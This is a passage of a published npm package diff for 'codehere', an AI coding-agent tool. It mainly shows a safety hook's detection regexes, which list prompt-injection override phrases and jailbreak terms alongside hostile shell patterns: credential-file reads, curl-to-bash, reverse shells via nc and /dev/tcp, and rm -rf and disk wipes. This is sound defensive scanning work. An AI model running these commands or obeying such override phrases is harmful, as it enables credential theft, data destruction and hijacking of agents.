codehere 0.2.2 → 0.3.0-rc.2

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (235) hide show
  1. package/README.md +88 -68
  2. package/dist/domain/entities/task.js +4 -4
  3. package/dist/error-handler.js +4 -9
  4. package/dist/index.js +253 -1219
  5. package/dist/infrastructure/config/product-context.js +7 -6
  6. package/dist/infrastructure/hooks/claude-sdk-hook.js +348 -72
  7. package/dist/infrastructure/observability/execution-tracer.js +11 -6
  8. package/dist/infrastructure/orchestration/agent-adapter.js +13 -0
  9. package/dist/infrastructure/orchestration/agent-installer.js +101 -0
  10. package/dist/infrastructure/orchestration/agents-config-seed.js +56 -0
  11. package/dist/infrastructure/orchestration/aider-adapter.js +319 -0
  12. package/dist/infrastructure/orchestration/artifacts-extractor.js +175 -0
  13. package/dist/infrastructure/orchestration/claude-code-adapter.js +352 -0
  14. package/dist/infrastructure/orchestration/codex-adapter.js +310 -0
  15. package/dist/infrastructure/orchestration/generic-cli-adapter.js +553 -0
  16. package/dist/infrastructure/orchestration/opencode-adapter.js +275 -0
  17. package/dist/infrastructure/orchestration/progress-aggregator.js +189 -0
  18. package/dist/infrastructure/orchestration/readiness.js +106 -0
  19. package/dist/infrastructure/orchestration/session-manager.js +272 -0
  20. package/dist/infrastructure/orchestration/session-persistence.js +109 -0
  21. package/dist/infrastructure/protocols/mcp-helpers.js +10 -30
  22. package/dist/infrastructure/protocols/mcp-server-impl.js +359 -21
  23. package/dist/infrastructure/protocols/ui-page.js +1827 -0
  24. package/dist/infrastructure/security/file-collection.js +115 -0
  25. package/dist/infrastructure/security/trust-scorer.js +301 -56
  26. package/dist/infrastructure/storage/task-repository.js +8 -7
  27. package/dist/monitoring.js +9 -38
  28. package/dist/presentation/cli/commands/help-command.js +96 -139
  29. package/dist/presentation/cli/commands/hook-command.js +17 -24
  30. package/dist/presentation/cli/commands/report-command.js +59 -72
  31. package/dist/presentation/cli/commands/setup-command.js +4 -4
  32. package/dist/presentation/cli/commands/status-command.js +321 -30
  33. package/dist/presentation/cli/commands/trust-command.js +84 -72
  34. package/dist/presentation/cli/error-display.js +17 -21
  35. package/dist/ui.js +11 -11
  36. package/package.json +24 -62
  37. package/dist/agents/base.js +0 -101
  38. package/dist/agents/orchestrator-model-driven.js +0 -141
  39. package/dist/agents/react-orchestrator-agent.js +0 -54
  40. package/dist/application/agents/execution-agent.js +0 -508
  41. package/dist/application/agents/multi-agent-orchestrator.js +0 -295
  42. package/dist/application/agents/planning-agent.js +0 -433
  43. package/dist/application/agents/validation-agent.js +0 -317
  44. package/dist/application/architectures/plan-and-act.js +0 -242
  45. package/dist/application/index.js +0 -12
  46. package/dist/application/services/agent-factory.js +0 -28
  47. package/dist/application/services/dependency-container.js +0 -596
  48. package/dist/application/services/git-context-service.js +0 -83
  49. package/dist/application/services/intelligent-router.js +0 -934
  50. package/dist/application/services/tool-executor-service.js +0 -94
  51. package/dist/application/use-cases/ask-question-use-case.js +0 -338
  52. package/dist/application/use-cases/edit-file-use-case.js +0 -830
  53. package/dist/application/use-cases/explain-file-use-case.js +0 -50
  54. package/dist/application/use-cases/index-codebase-use-case.js +0 -113
  55. package/dist/application/use-cases/planning-use-case.js +0 -276
  56. package/dist/application/use-cases/react-orchestration-use-case.js +0 -329
  57. package/dist/application/use-cases/reflexion-use-case.js +0 -30
  58. package/dist/application/workflows/deterministic-workflows.js +0 -189
  59. package/dist/ast-parser.js +0 -331
  60. package/dist/cache.js +0 -180
  61. package/dist/chat.js +0 -251
  62. package/dist/code-analysis.js +0 -327
  63. package/dist/context.js +0 -187
  64. package/dist/docs.js +0 -146
  65. package/dist/domain/entities/code-chunk.js +0 -6
  66. package/dist/domain/entities/decision.js +0 -9
  67. package/dist/domain/entities/edit.js +0 -6
  68. package/dist/domain/entities/knowledge-node.js +0 -9
  69. package/dist/domain/entities/knowledge-preservation.js +0 -10
  70. package/dist/domain/entities/memory.js +0 -6
  71. package/dist/domain/entities/pattern.js +0 -7
  72. package/dist/domain/entities/plan.js +0 -6
  73. package/dist/domain/entities/query.js +0 -6
  74. package/dist/domain/errors/embeddings-not-found-error.js +0 -13
  75. package/dist/domain/index.js +0 -19
  76. package/dist/domain/interfaces/ai-service.interface.js +0 -6
  77. package/dist/domain/interfaces/code-analyzer.interface.js +0 -6
  78. package/dist/domain/interfaces/decision-repository.interface.js +0 -9
  79. package/dist/domain/interfaces/embedding-repository.interface.js +0 -6
  80. package/dist/domain/interfaces/knowledge-graph-repository.interface.js +0 -9
  81. package/dist/domain/interfaces/knowledge-preservation-repository.interface.js +0 -8
  82. package/dist/domain/interfaces/memory-repository.interface.js +0 -6
  83. package/dist/domain/interfaces/pattern-repository.interface.js +0 -6
  84. package/dist/domain/interfaces/verification-service.interface.js +0 -6
  85. package/dist/domain/services/cross-team-pattern-sharing.js +0 -125
  86. package/dist/domain/services/decision-recorder.js +0 -223
  87. package/dist/domain/services/decision-retriever.js +0 -133
  88. package/dist/domain/services/environment-mode-manager.js +0 -22
  89. package/dist/domain/services/graded-memory-activation.js +0 -69
  90. package/dist/domain/services/knowledge-access.js +0 -132
  91. package/dist/domain/services/knowledge-extractor.js +0 -247
  92. package/dist/domain/services/knowledge-graph-builder.js +0 -268
  93. package/dist/domain/services/knowledge-graph-query.js +0 -187
  94. package/dist/domain/services/memory-retriever.js +0 -82
  95. package/dist/domain/services/memory-synthesizer.js +0 -91
  96. package/dist/domain/services/pattern-extractor.js +0 -442
  97. package/dist/domain/services/query-intent-classifier.js +0 -140
  98. package/dist/domain/services/react-loop.js +0 -186
  99. package/dist/domain/services/risk-tier-detector.js +0 -78
  100. package/dist/edit.js +0 -319
  101. package/dist/embed.js +0 -459
  102. package/dist/formatter.js +0 -168
  103. package/dist/git.js +0 -198
  104. package/dist/infrastructure/ai/cohere-ai-service.js +0 -607
  105. package/dist/infrastructure/ai/command-r-evaluation.js +0 -206
  106. package/dist/infrastructure/ai/model-config.js +0 -84
  107. package/dist/infrastructure/ai/provider-ai-service.js +0 -477
  108. package/dist/infrastructure/cache/embedding-cache.js +0 -175
  109. package/dist/infrastructure/cache/query-result-cache.js +0 -66
  110. package/dist/infrastructure/cache/response-cache.js +0 -48
  111. package/dist/infrastructure/cache/security-scan-cache.js +0 -47
  112. package/dist/infrastructure/chunking/ast-code-chunker.js +0 -19
  113. package/dist/infrastructure/chunking/code-aware-chunker.js +0 -397
  114. package/dist/infrastructure/context/context-compressor.js +0 -329
  115. package/dist/infrastructure/context/conversation-context.js +0 -128
  116. package/dist/infrastructure/context/session-manager.js +0 -94
  117. package/dist/infrastructure/cost/cost-tracker.js +0 -360
  118. package/dist/infrastructure/file-scanner/file-scanner.js +0 -106
  119. package/dist/infrastructure/governance/nist-ai-rmf.js +0 -292
  120. package/dist/infrastructure/governance/policy-as-code.js +0 -258
  121. package/dist/infrastructure/governance/prompt-to-code-lineage.js +0 -239
  122. package/dist/infrastructure/index.js +0 -7
  123. package/dist/infrastructure/observability/prompt-versioner.js +0 -145
  124. package/dist/infrastructure/protocols/a2a-metadata.js +0 -137
  125. package/dist/infrastructure/protocols/a2a-protocol.js +0 -314
  126. package/dist/infrastructure/protocols/mcp-oauth.js +0 -184
  127. package/dist/infrastructure/protocols/mcp-server.js +0 -333
  128. package/dist/infrastructure/protocols/streaming-handler.js +0 -103
  129. package/dist/infrastructure/providers/cohere-provider.js +0 -444
  130. package/dist/infrastructure/providers/fake-provider.js +0 -130
  131. package/dist/infrastructure/providers/local-llm-provider.js +0 -330
  132. package/dist/infrastructure/providers/model-config.types.js +0 -9
  133. package/dist/infrastructure/providers/model-provider.interface.js +0 -8
  134. package/dist/infrastructure/providers/openai-provider.js +0 -413
  135. package/dist/infrastructure/providers/openrouter-provider.js +0 -399
  136. package/dist/infrastructure/providers/operation-provider-resolver.js +0 -105
  137. package/dist/infrastructure/providers/provider-config-loader.js +0 -120
  138. package/dist/infrastructure/providers/provider-registry.js +0 -88
  139. package/dist/infrastructure/safety/pattern-detector.js +0 -133
  140. package/dist/infrastructure/security/ai-sast-scanner.js +0 -290
  141. package/dist/infrastructure/security/docker-sandbox.js +0 -178
  142. package/dist/infrastructure/security/enhanced-security-gate.js +0 -151
  143. package/dist/infrastructure/security/license-scanner.js +0 -167
  144. package/dist/infrastructure/security/provider-bias-detector.js +0 -164
  145. package/dist/infrastructure/security/sandbox-executor.js +0 -64
  146. package/dist/infrastructure/serialization/toon-serializer.js +0 -119
  147. package/dist/infrastructure/storage/memory-stream-service.js +0 -204
  148. package/dist/infrastructure/storage/plan-repository.js +0 -96
  149. package/dist/infrastructure/storage/sqlite-decision-repository.js +0 -232
  150. package/dist/infrastructure/storage/sqlite-embedding-repository.js +0 -311
  151. package/dist/infrastructure/storage/sqlite-knowledge-graph-repository.js +0 -417
  152. package/dist/infrastructure/storage/sqlite-knowledge-preservation-repository.js +0 -230
  153. package/dist/infrastructure/storage/sqlite-memory-repository.js +0 -229
  154. package/dist/infrastructure/storage/sqlite-pattern-repository.js +0 -249
  155. package/dist/infrastructure/storage/task-helpers.js +0 -197
  156. package/dist/infrastructure/telemetry/telemetry-service.js +0 -167
  157. package/dist/infrastructure/ux/appropriate-friction.js +0 -213
  158. package/dist/infrastructure/ux/bi-directional-learning.js +0 -337
  159. package/dist/infrastructure/ux/capability-boundaries.js +0 -42
  160. package/dist/infrastructure/ux/comprehensive-formatter.js +0 -117
  161. package/dist/infrastructure/ux/contextual-feature-discovery.js +0 -10
  162. package/dist/infrastructure/ux/expectation-management.js +0 -327
  163. package/dist/infrastructure/ux/feature-discovery.js +0 -14
  164. package/dist/infrastructure/ux/feedback-prompt.js +0 -45
  165. package/dist/infrastructure/ux/hitl-validation.js +0 -297
  166. package/dist/infrastructure/ux/progress-indicator.js +0 -116
  167. package/dist/infrastructure/ux/progressive-disclosure.js +0 -236
  168. package/dist/infrastructure/ux/review-checkpoint.js +0 -72
  169. package/dist/infrastructure/ux/staged-feature-intro.js +0 -24
  170. package/dist/infrastructure/ux/stream-markdown.js +0 -151
  171. package/dist/infrastructure/ux/syntax-highlighter.js +0 -91
  172. package/dist/infrastructure/ux/team-standards.js +0 -196
  173. package/dist/infrastructure/ux/transparency.js +0 -71
  174. package/dist/infrastructure/validation/agent-feedback.js +0 -55
  175. package/dist/infrastructure/validation/agent-validation-helper.js +0 -137
  176. package/dist/infrastructure/validation/review-handler.js +0 -40
  177. package/dist/infrastructure/validation/summary-aggregator.js +0 -70
  178. package/dist/infrastructure/validation/summary-extractor.js +0 -45
  179. package/dist/infrastructure/validation/trace-summary.js +0 -52
  180. package/dist/infrastructure/verification/verification-service.js +0 -47
  181. package/dist/infrastructure/xai/attention-visualizer.js +0 -172
  182. package/dist/infrastructure/xai/cot-visualizer.js +0 -283
  183. package/dist/infrastructure/xai/decision-tree-log.js +0 -212
  184. package/dist/infrastructure/xai/interactive-xai.js +0 -260
  185. package/dist/infrastructure/xai/uncertainty-quantifier.js +0 -198
  186. package/dist/intelligent-retrieval.js +0 -272
  187. package/dist/intent/classifier.js +0 -2
  188. package/dist/intent/context.js +0 -2
  189. package/dist/iterative-refinement.js +0 -189
  190. package/dist/learning.js +0 -232
  191. package/dist/log.js +0 -31
  192. package/dist/migrate.js +0 -133
  193. package/dist/parallel-processor.js +0 -534
  194. package/dist/planner.js +0 -198
  195. package/dist/policy.js +0 -26
  196. package/dist/presentation/cli/commands/ask-command.js +0 -314
  197. package/dist/presentation/cli/commands/cost-command.js +0 -191
  198. package/dist/presentation/cli/commands/decision-command.js +0 -207
  199. package/dist/presentation/cli/commands/docs-command.js +0 -25
  200. package/dist/presentation/cli/commands/fix-command.js +0 -53
  201. package/dist/presentation/cli/commands/knowledge-command.js +0 -129
  202. package/dist/presentation/cli/commands/learning-dashboard-command.js +0 -183
  203. package/dist/presentation/cli/commands/models-command.js +0 -194
  204. package/dist/presentation/cli/commands/orchestrate-command.js +0 -207
  205. package/dist/presentation/cli/commands/plan-command.js +0 -246
  206. package/dist/presentation/cli/commands/product-command.js +0 -199
  207. package/dist/presentation/cli/commands/react-command.js +0 -181
  208. package/dist/presentation/cli/commands/review-command.js +0 -154
  209. package/dist/presentation/cli/commands/run-command.js +0 -188
  210. package/dist/presentation/cli/commands/smart-command.js +0 -395
  211. package/dist/presentation/cli/commands/suggest-command.js +0 -138
  212. package/dist/presentation/cli/commands/trace-command.js +0 -129
  213. package/dist/presentation/cli/commands/undo-command.js +0 -150
  214. package/dist/query-optimizer.js +0 -205
  215. package/dist/refactor.js +0 -116
  216. package/dist/review.js +0 -206
  217. package/dist/search.js +0 -163
  218. package/dist/session.js +0 -704
  219. package/dist/task-verification.js +0 -336
  220. package/dist/testgen.js +0 -166
  221. package/dist/token-optimizer.js +0 -277
  222. package/dist/tools/bash.js +0 -213
  223. package/dist/tools/edit.js +0 -235
  224. package/dist/tools/executor.js +0 -153
  225. package/dist/tools/git-tool.js +0 -292
  226. package/dist/tools/parser.js +0 -158
  227. package/dist/tools/registry.js +0 -302
  228. package/dist/tools/search.js +0 -100
  229. package/dist/types.js +0 -2
  230. package/dist/utils/check-api-status.js +0 -100
  231. package/dist/utils/diff-parser.js +0 -162
  232. package/dist/verification/backup.js +0 -259
  233. package/dist/verification/compiler.js +0 -264
  234. package/dist/verification/index.js +0 -273
  235. package/dist/verification/test-runner.js +0 -379
@@ -35,9 +35,12 @@ export function saveProductContext(ctx, cwd = process.cwd()) {
35
35
  * Returns a plain-English risk label for use in recommendations.
36
36
  */
37
37
  export function riskLabel(level) {
38
- return level === 'critical' ? 'critical-risk'
39
- : level === 'high' ? 'high-risk'
40
- : level === 'medium' ? 'production'
38
+ return level === 'critical'
39
+ ? 'critical-risk'
40
+ : level === 'high'
41
+ ? 'high-risk'
42
+ : level === 'medium'
43
+ ? 'production'
41
44
  : 'low-risk';
42
45
  }
43
46
  /**
@@ -47,9 +50,7 @@ export function riskLabel(level) {
47
50
  export function adjustRecommendation(base, criticalCount, highCount, score, ctx) {
48
51
  if (!ctx)
49
52
  return base;
50
- const prefix = ctx.productionApp
51
- ? `${ctx.name || 'Production app'} · `
52
- : '';
53
+ const prefix = ctx.productionApp ? `${ctx.name || 'Production app'} · ` : '';
53
54
  if (criticalCount > 0) {
54
55
  return `${prefix}${criticalCount} critical issue${criticalCount !== 1 ? 's' : ''} — fix before this goes to production.`;
55
56
  }
@@ -18,64 +18,335 @@ import { join } from 'path';
18
18
  import { homedir } from 'os';
19
19
  const PATTERNS = [
20
20
  // Prompt Injection
21
- { regex: /ignore\s+(previous|prior|above|all|your)\s+(instructions?|rules?|prompts?|guidelines?)/i, severity: 'critical', category: 'Prompt Injection', description: 'Attempts to override system instructions' },
22
- { regex: /disregard\s+(previous|prior|all|your)\s+(instructions?|rules?|prompts?)/i, severity: 'critical', category: 'Prompt Injection', description: 'Disregard instruction override' },
23
- { regex: /forget\s+(everything|all|previous|your)\s*(instructions?|rules?|context)?/i, severity: 'critical', category: 'Prompt Injection', description: 'Context clearing attempt' },
24
- { regex: /you\s+are\s+now\s+(a|an|my)|new\s+role\s*:|act\s+as\s+(a|an|if)/i, severity: 'critical', category: 'Prompt Injection', description: 'Role hijacking attempt' },
25
- { regex: /system\s*prompt|<\/?system>|(?<!['"\\])<\/?instruction>/i, severity: 'critical', category: 'Prompt Injection', description: 'System prompt injection' },
26
- { regex: /\bdo\s+not\s+(follow|obey|listen|comply)\b/i, severity: 'critical', category: 'Prompt Injection', description: 'Instruction override attempt' },
27
- { regex: /jailbreak|DAN\s+mode|developer\s+mode\s+enabled/i, severity: 'critical', category: 'Prompt Injection', description: 'Jailbreak attempt' },
28
- { regex: /bypass\s+(safety|restrictions?|filters?|guidelines?)/i, severity: 'critical', category: 'Prompt Injection', description: 'Safety bypass attempt' },
29
- { regex: /\[INST\]|\[\/INST\]|###\s*human:|###\s*assistant:/i, severity: 'high', category: 'Prompt Injection', description: 'Prompt template injection' },
30
- { regex: /override\s+(safety|security|policy|restrictions?)/i, severity: 'critical', category: 'Prompt Injection', description: 'Policy override attempt' },
21
+ // Allow chained modifiers: "ignore all previous instructions", "ignore all your prior rules", etc.
22
+ {
23
+ regex: /ignore\s+(?:(?:previous|prior|above|all|your|the)\s+){1,4}(?:instructions?|rules?|prompts?|guidelines?)/i,
24
+ severity: 'critical',
25
+ category: 'Prompt Injection',
26
+ description: 'Attempts to override system instructions',
27
+ },
28
+ {
29
+ regex: /disregard\s+(previous|prior|all|your)\s+(instructions?|rules?|prompts?)/i,
30
+ severity: 'critical',
31
+ category: 'Prompt Injection',
32
+ description: 'Disregard instruction override',
33
+ },
34
+ {
35
+ regex: /forget\s+(everything|all|previous|your)\s*(instructions?|rules?|context)?/i,
36
+ severity: 'critical',
37
+ category: 'Prompt Injection',
38
+ description: 'Context clearing attempt',
39
+ },
40
+ {
41
+ regex: /you\s+are\s+now\s+(a|an|my)|new\s+role\s*:|act\s+as\s+(a|an|if)/i,
42
+ severity: 'critical',
43
+ category: 'Prompt Injection',
44
+ description: 'Role hijacking attempt',
45
+ },
46
+ {
47
+ regex: /system\s*prompt|<\/?system>|(?<!['"\\])<\/?instruction>/i,
48
+ severity: 'critical',
49
+ category: 'Prompt Injection',
50
+ description: 'System prompt injection',
51
+ },
52
+ {
53
+ regex: /\bdo\s+not\s+(follow|obey|listen|comply)\b/i,
54
+ severity: 'critical',
55
+ category: 'Prompt Injection',
56
+ description: 'Instruction override attempt',
57
+ },
58
+ {
59
+ regex: /jailbreak|DAN\s+mode|developer\s+mode\s+enabled/i,
60
+ severity: 'critical',
61
+ category: 'Prompt Injection',
62
+ description: 'Jailbreak attempt',
63
+ },
64
+ {
65
+ regex: /bypass\s+(safety|restrictions?|filters?|guidelines?)/i,
66
+ severity: 'critical',
67
+ category: 'Prompt Injection',
68
+ description: 'Safety bypass attempt',
69
+ },
70
+ {
71
+ regex: /\[INST\]|\[\/INST\]|###\s*human:|###\s*assistant:/i,
72
+ severity: 'high',
73
+ category: 'Prompt Injection',
74
+ description: 'Prompt template injection',
75
+ },
76
+ {
77
+ regex: /override\s+(safety|security|policy|restrictions?)/i,
78
+ severity: 'critical',
79
+ category: 'Prompt Injection',
80
+ description: 'Policy override attempt',
81
+ },
31
82
  // Credential Theft
32
- { regex: /cat\s+~?\/?(\.env|\.secrets?|credentials?|\.aws\/credentials)/i, severity: 'critical', category: 'Credential Theft', description: 'Reads credential files' },
33
- { regex: /echo\s+\$\s*(API_KEY|SECRET|TOKEN|PASSWORD|PRIVATE_KEY)/i, severity: 'critical', category: 'Credential Theft', description: 'Exfiltrates env secrets' },
34
- { regex: /printenv|env\s*\|\s*(grep|curl|wget|nc)\b/i, severity: 'high', category: 'Credential Theft', description: 'Environment variable exfiltration' },
35
- { regex: /curl.*\$(API_KEY|TOKEN|SECRET|PASSWORD)/i, severity: 'critical', category: 'Credential Theft', description: 'API key exfiltration via curl' },
36
- { regex: /ssh-keygen|cat\s+~\/.ssh\/(id_rsa|id_ed25519|authorized_keys)/i, severity: 'high', category: 'Credential Theft', description: 'SSH key access' },
37
- { regex: /keychain|security\s+find-generic-password/i, severity: 'high', category: 'Credential Theft', description: 'macOS keychain access attempt' },
38
- { regex: /OPENAI_API_KEY|ANTHROPIC_API_KEY|GITHUB_TOKEN/i, severity: 'high', category: 'Credential Theft', description: 'Known API key reference' },
39
- { regex: /\bsecret_key\b|\bapi_secret\b|\bauth_token\b/i, severity: 'medium', category: 'Credential Theft', description: 'Secret key reference' },
40
- { regex: /curl.*webhook.*\$\w+|wget.*\$\w+.*credentials/i, severity: 'critical', category: 'Credential Theft', description: 'Credential webhook exfiltration' },
41
- { regex: /\/proc\/\d+\/environ|\/etc\/shadow/i, severity: 'critical', category: 'Credential Theft', description: 'System credential file access' },
83
+ {
84
+ regex: /cat\s+~?\/?(\.env|\.secrets?|credentials?|\.aws\/credentials)/i,
85
+ severity: 'critical',
86
+ category: 'Credential Theft',
87
+ description: 'Reads credential files',
88
+ },
89
+ {
90
+ regex: /echo\s+\$\s*(API_KEY|SECRET|TOKEN|PASSWORD|PRIVATE_KEY)/i,
91
+ severity: 'critical',
92
+ category: 'Credential Theft',
93
+ description: 'Exfiltrates env secrets',
94
+ },
95
+ {
96
+ regex: /printenv|env\s*\|\s*(grep|curl|wget|nc)\b/i,
97
+ severity: 'high',
98
+ category: 'Credential Theft',
99
+ description: 'Environment variable exfiltration',
100
+ },
101
+ {
102
+ regex: /curl.*\$(API_KEY|TOKEN|SECRET|PASSWORD)/i,
103
+ severity: 'critical',
104
+ category: 'Credential Theft',
105
+ description: 'API key exfiltration via curl',
106
+ },
107
+ // Reading SSH private keys is never benign in dev workflow — promote to critical.
108
+ // ssh-keygen alone (key generation) stays 'high' since it's also a legitimate setup operation.
109
+ {
110
+ regex: /cat\s+~?\/?\.ssh\/(id_rsa|id_ed25519|id_ecdsa|id_dsa)\b/i,
111
+ severity: 'critical',
112
+ category: 'Credential Theft',
113
+ description: 'Reads SSH private key',
114
+ },
115
+ {
116
+ regex: /ssh-keygen|cat\s+~?\/?\.ssh\/authorized_keys/i,
117
+ severity: 'high',
118
+ category: 'Credential Theft',
119
+ description: 'SSH key tooling access',
120
+ },
121
+ {
122
+ regex: /keychain|security\s+find-generic-password/i,
123
+ severity: 'high',
124
+ category: 'Credential Theft',
125
+ description: 'macOS keychain access attempt',
126
+ },
127
+ {
128
+ regex: /OPENAI_API_KEY|ANTHROPIC_API_KEY|GITHUB_TOKEN/i,
129
+ severity: 'high',
130
+ category: 'Credential Theft',
131
+ description: 'Known API key reference',
132
+ },
133
+ {
134
+ regex: /\bsecret_key\b|\bapi_secret\b|\bauth_token\b/i,
135
+ severity: 'medium',
136
+ category: 'Credential Theft',
137
+ description: 'Secret key reference',
138
+ },
139
+ {
140
+ regex: /curl.*webhook.*\$\w+|wget.*\$\w+.*credentials/i,
141
+ severity: 'critical',
142
+ category: 'Credential Theft',
143
+ description: 'Credential webhook exfiltration',
144
+ },
145
+ {
146
+ regex: /\/proc\/\d+\/environ|\/etc\/shadow/i,
147
+ severity: 'critical',
148
+ category: 'Credential Theft',
149
+ description: 'System credential file access',
150
+ },
42
151
  // Destructive Operations
43
- { regex: /rm\s+-rf?\s+(\/|~|\.\.|\*|\/home|\/etc|\/var|\/usr)/i, severity: 'critical', category: 'Destructive', description: 'Recursive deletion of system/home directories' },
44
- { regex: /delete\s+all\s+files|wipe\s+(disk|drive|everything)|format\s+[a-z]:/i, severity: 'critical', category: 'Destructive', description: 'Mass file deletion' },
45
- { regex: />\s*\/dev\/(sda|hda|vda|nvme)|dd\s+if=.*of=\/dev/i, severity: 'critical', category: 'Destructive', description: 'Raw disk write attempt' },
46
- { regex: /DROP\s+TABLE|DROP\s+DATABASE|TRUNCATE\s+TABLE/i, severity: 'critical', category: 'Destructive', description: 'Database destruction' },
47
- { regex: /git\s+(push\s+--force|reset\s+--hard)\s+origin/i, severity: 'high', category: 'Destructive', description: 'Force push or hard reset to remote' },
48
- { regex: /shutdown\s+-[hr]|reboot\s+--force|init\s+0/i, severity: 'high', category: 'Destructive', description: 'System shutdown/reboot' },
49
- { regex: /pkill\s+-9\s+(node|python|ruby|java)\b/i, severity: 'medium', category: 'Destructive', description: 'Process mass termination' },
50
- { regex: /crontab\s+-r|at\s+now.*rm|systemctl\s+disable\s+--now/i, severity: 'high', category: 'Destructive', description: 'Scheduled destruction' },
152
+ // Block rm -rf against system roots or a user's whole home — but allow
153
+ // routine deletion under /tmp, ~/Library/Caches, node_modules, etc.
154
+ // Previous pattern included bare `\/` which matched any path starting
155
+ // with `/` (so `rm -rf /tmp/foo` was blocked). The alternatives below
156
+ // require an explicit system target or a bare home reference.
157
+ {
158
+ regex: /rm\s+-rf?\s+(?:\/(?:["'\s]|$|\*)|\/(?:home|etc|var|usr|bin|sbin|System|Library|opt|root|boot|dev)\b|~(?:["'\s]|$|\/(?:["'\s]|$|\*))|\$HOME(?:["'\s]|$|\/(?:["'\s]|$|\*))|\.\.(?:["'\s]|$))/im,
159
+ severity: 'critical',
160
+ category: 'Destructive',
161
+ description: 'Recursive deletion of system/home directories',
162
+ },
163
+ {
164
+ regex: /delete\s+all\s+files|wipe\s+(disk|drive|everything)|format\s+[a-z]:/i,
165
+ severity: 'critical',
166
+ category: 'Destructive',
167
+ description: 'Mass file deletion',
168
+ },
169
+ {
170
+ regex: />\s*\/dev\/(sda|hda|vda|nvme)|dd\s+if=.*of=\/dev/i,
171
+ severity: 'critical',
172
+ category: 'Destructive',
173
+ description: 'Raw disk write attempt',
174
+ },
175
+ {
176
+ regex: /DROP\s+TABLE|DROP\s+DATABASE|TRUNCATE\s+TABLE/i,
177
+ severity: 'critical',
178
+ category: 'Destructive',
179
+ description: 'Database destruction',
180
+ },
181
+ // Force-push or hard reset against main/master/production is irreversible loss of shared history — critical.
182
+ // Force-push to other branches stays 'high' since rebase-and-force-push to feature branches is routine.
183
+ {
184
+ regex: /git\s+(?:push\s+(?:--force|-f)|reset\s+--hard)\s+\S*origin\s+(main|master|production|release|prod)\b/i,
185
+ severity: 'critical',
186
+ category: 'Destructive',
187
+ description: 'Force push or hard reset to a protected branch',
188
+ },
189
+ {
190
+ regex: /git\s+(push\s+(?:--force|-f)|reset\s+--hard)\s+origin/i,
191
+ severity: 'high',
192
+ category: 'Destructive',
193
+ description: 'Force push or hard reset to remote',
194
+ },
195
+ {
196
+ regex: /shutdown\s+-[hr]|reboot\s+--force|init\s+0/i,
197
+ severity: 'high',
198
+ category: 'Destructive',
199
+ description: 'System shutdown/reboot',
200
+ },
201
+ {
202
+ regex: /pkill\s+-9\s+(node|python|ruby|java)\b/i,
203
+ severity: 'medium',
204
+ category: 'Destructive',
205
+ description: 'Process mass termination',
206
+ },
207
+ {
208
+ regex: /crontab\s+-r|at\s+now.*rm|systemctl\s+disable\s+--now/i,
209
+ severity: 'high',
210
+ category: 'Destructive',
211
+ description: 'Scheduled destruction',
212
+ },
51
213
  // Code/Command Injection
52
214
  // NOTE: patterns match execution intent, not grep/search of these strings.
53
215
  // A command starting with "grep", "rg", "ag", or "find" is a search, not execution —
54
216
  // those are pre-filtered in buildScanPayload before patterns run.
55
- { regex: /curl\s+\S+\s*\|\s*(bash|sh|python|ruby|perl|node)\b/i, severity: 'critical', category: 'Code Injection', description: 'Remote script piped directly to shell' },
56
- { regex: /wget\s+(-qO-\s+)?https?:\/\/\S+\s*\|\s*(bash|sh)/i, severity: 'critical', category: 'Code Injection', description: 'Remote code execution via wget' },
57
- { regex: /node\s+-e\s+["'].*eval\s*\(|node\s+-e\s+["'].*require\s*\(/i, severity: 'critical', category: 'Code Injection', description: 'Inline node eval execution' },
58
- { regex: /eval\s*\(.*process\.env\.|eval\s*\(.*\$_(GET|POST|REQUEST)/i, severity: 'critical', category: 'Code Injection', description: 'eval() with external or env input' },
59
- { regex: /exec\s*\(\s*['"]\s*system/i, severity: 'critical', category: 'Code Injection', description: 'System shell from code' },
60
- { regex: /python\s+-c\s+["']import\s+os;os\.system/i, severity: 'high', category: 'Code Injection', description: 'Python shell injection' },
61
- { regex: /nc\s+-[eln]+\s+\d{1,3}\.\d{1,3}|bash\s+-i\s+>&\s*\/dev\/tcp/i, severity: 'critical', category: 'Code Injection', description: 'Reverse shell attempt' },
62
- { regex: /\bbase64\b.*\|.*(bash|sh)\b|\bbase64\b.*exec/i, severity: 'critical', category: 'Code Injection', description: 'Base64-encoded code execution' },
63
- { regex: /\$\(curl|subprocess\.run\(['"]curl/i, severity: 'high', category: 'Code Injection', description: 'Command substitution with curl' },
217
+ {
218
+ regex: /curl\s+\S+\s*\|\s*(bash|sh|python|ruby|perl|node)\b/i,
219
+ severity: 'critical',
220
+ category: 'Code Injection',
221
+ description: 'Remote script piped directly to shell',
222
+ },
223
+ {
224
+ regex: /wget\s+(-qO-\s+)?https?:\/\/\S+\s*\|\s*(bash|sh)/i,
225
+ severity: 'critical',
226
+ category: 'Code Injection',
227
+ description: 'Remote code execution via wget',
228
+ },
229
+ {
230
+ regex: /node\s+-e\s+["'].*eval\s*\(|node\s+-e\s+["'].*require\s*\(/i,
231
+ severity: 'critical',
232
+ category: 'Code Injection',
233
+ description: 'Inline node eval execution',
234
+ },
235
+ {
236
+ regex: /eval\s*\(.*process\.env\.|eval\s*\(.*\$_(GET|POST|REQUEST)/i,
237
+ severity: 'critical',
238
+ category: 'Code Injection',
239
+ description: 'eval() with external or env input',
240
+ },
241
+ {
242
+ regex: /exec\s*\(\s*['"]\s*system/i,
243
+ severity: 'critical',
244
+ category: 'Code Injection',
245
+ description: 'System shell from code',
246
+ },
247
+ {
248
+ regex: /python\s+-c\s+["']import\s+os;os\.system/i,
249
+ severity: 'high',
250
+ category: 'Code Injection',
251
+ description: 'Python shell injection',
252
+ },
253
+ // Reverse shell forms:
254
+ // nc -e /bin/bash 1.2.3.4 4444 (binary between -e and IP)
255
+ // nc -e 1.2.3.4 4444 (IP directly after -e)
256
+ // bash -i >& /dev/tcp/host/port (bash builtin)
257
+ {
258
+ regex: /nc\s+-[eln]+(?:\s+\S+)?\s+\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}|bash\s+-i\s+>&\s*\/dev\/tcp/i,
259
+ severity: 'critical',
260
+ category: 'Code Injection',
261
+ description: 'Reverse shell attempt',
262
+ },
263
+ {
264
+ regex: /\bbase64\b.*\|.*(bash|sh)\b|\bbase64\b.*exec/i,
265
+ severity: 'critical',
266
+ category: 'Code Injection',
267
+ description: 'Base64-encoded code execution',
268
+ },
269
+ {
270
+ regex: /\$\(curl|subprocess\.run\(['"]curl/i,
271
+ severity: 'high',
272
+ category: 'Code Injection',
273
+ description: 'Command substitution with curl',
274
